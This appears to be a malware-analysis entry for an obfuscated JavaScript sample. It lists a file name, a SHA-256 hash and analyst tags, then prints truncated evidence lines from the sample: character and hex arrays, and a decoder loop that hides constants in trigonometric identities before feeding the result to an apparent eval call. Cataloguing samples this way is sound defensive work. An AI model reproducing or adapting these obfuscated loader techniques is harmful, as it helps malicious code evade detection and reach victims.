20151217_b20920c01e124a04ec0da6bf035a5e42.js
Heavily obfuscated eval payload
Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256abd138e0cf0e793f9cd8c9e9403c1de79b056ce4d405bc8ae291325ddffcff50
MaleculeO₂(As₄C)H₂(Db₂Po)
Evidence
1SGrjlQEj=[0x0,0x7,0xe,0x11,0x17,0x19,0x1e,0x24,0x28,0x2f,0x36,0x37,0x3f,0x45,0x46,0x4c,0x50,0x56,0x5c,0x62,0x66,0x6a,0x6e,0x76,0x7b,0x7f,0x86,0x89,0x8c,0x95,0x97,0x9d,0xa0,0xa5,0xad,0xb0,0xb6,0xba,0x …
2:162… '.','F','C','k','d','{','8','z','A','Q','-','E','>','-','J','Z',String.fromCharCode(10),'J','J','n','e','g','>','s',',','3','*','y','2','M','&',String.fromCharCode(13),')','-','t','F','b',',','w','N','T','n','a','Y','"','E','"','>',']',' ','1','Q',',',' ','A',')','.','Y','f','J',')','H','^',']','*','I','(','Q','{','f','Z',':','n','I','k','d','!','s',' ','W','m','d','w','8','&','O','I','Z','D','?','U','h','T','>','t …
2:1858… 'U','Y','8','c','%','6','.','Z','(','?','[','D','5','P','8','q',String.fromCharCode(92),'+',']','u','<','*',' ','A','(','^','(','5','$','%','_','H','.','M','^','_','`','>','j','&',']','a','X','W','b','H',' ','$','n','n','c',']','D','o','P','d','I','p','R','y','Z','e','`','q','n','I',': …
12:33… QTPAjqD,VjxnhZbgzAv) {DtfSJififqWYmW[dAhicYQTPAjqD]=VjxnhZbgzAv;}
13var j = new Array();j[0]=[];j[0][0]='d';j[0][1]='a';j[0][2]='d';j[0][3]='a';j[0][4]='46';j[0][5]='3d';j[0][6]='42';j[0][7]='14';j[0][8]='2h';j[0][9]='14';j[0][10]='25';j[0][11]='14';j[0][12]='16';j[0][13]='47';j[0][14]='3k';j[0][15]='3d';j[0][16]='44';j[0][17]='3g';j[0][18]='3l';j[0][19]='3g';j[0][20]='49';j[0][21]='3 …
19:30… ],j[4],j[5]];
20var QZXWMZkqA=[];
21function GEUIRiDPyVhbNqGOz(vzJOy){tqCeFIAPzaD= '';iqOmvtgRwqS=Math.round((Math.pow(Math.sin(628), 2) + Math.pow(Math.cos(628), 2) - 1));while(true){if (iqOmvtgRwqS >= (3954+852)/801){break;}QZXWMZkqA[iqOmvtgRwqS]=Math.round((Math.pow(Math.sin(262), 2) + Math.pow(Math.cos(262), 2) - 1)); while(true) { if(QZXWMZkqA[iqOmvtgRwqS] > vzJOy[iqOmvtgRwqS].length-(8+493)/501) { break; } if (wwASTDU(OravX(vzJOy[iqOmvtgRwqS][QZXWMZkqA[iqOmvtgRwqS]],(19277+519)/707,(8210+20)/823))) {tqCeFIAPzaD += GLKBXsUllBmajfEKNxmBPifqoVslPCIZRRwtdsgFLWwfJyYmHywqDC([vzJOy[iqOmvtgRwqS][QZXWMZkqA[iqOmvtgRwqS]]], Math.round((Math.pow(Math.sin(118), 2) + Math.pow(Math.cos(118), 2) - 1)));} QZXWMZkqA[iqOmvtgRwqS]++;}iqOmvtgRwqS++;} return tqCeFIAPzaD}
22var dXgyOqcrvFkIDyVlXJiJcpXrAldJJlBLJ = 'CReivFALGlzmMfYECNthppeRppajoNiTXhSQ';var BdioUsqUGgxoSLuHunQcTTCnDEmqzTyj = 'vcVKbKZJTVAKjTpQcitqzOpBGjnSgptnEyGS';lMXzlMSCWoabjgJ(GEUIRiDPyVhbNqGOz(vzJOy),dXgyOqcrvFkIDyVlXJiJcpXrAldJJlBLJ,BdioUsqUGgxoSLuHunQcTTCnDEmqzTyj);